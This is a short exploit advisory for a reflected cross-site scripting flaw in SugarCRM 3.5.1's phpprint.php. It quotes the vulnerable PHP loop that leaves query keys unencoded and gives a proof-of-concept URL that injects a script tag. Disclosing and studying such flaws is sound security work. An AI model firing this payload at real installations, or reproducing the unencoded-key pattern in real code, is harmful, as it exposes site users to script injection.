SugarCRM 3.5.1 Cross Site Scripting

`# Exploit Title: sugarCRM 3.5.1 XSS refeclted  
# Date: 16/01/2017  
# Exploit Author: Guilherme Assmann  
# Vendor Homepage: https://www.sugarcrm.com/  
# Version: 3.5.1  
# Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox  
# Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/  
# CVE: CVE-2018-5715  
More informations: https://m4k4br0.github.io/sugarcrm-xss/  
  
The vulnerability are in the key parameter of phpprint.php  
  
32 foreach ($_GET as $key => $val) {  
33 if ($key != "print") {  
34 if (is_array($val)) {  
35 foreach ($val as $k => $v) {  
36 $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";  
37 }  
38 }  
39 else {  
40 $query_string .= "{$key}=" . urlencode($val) . "&";  
41 }  
42 }  
43 }  
  
the $key variable are not encoded, this permit that XSS more easy  
---------------------------------------------------------------------  
Poc:  
http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script>  
  
`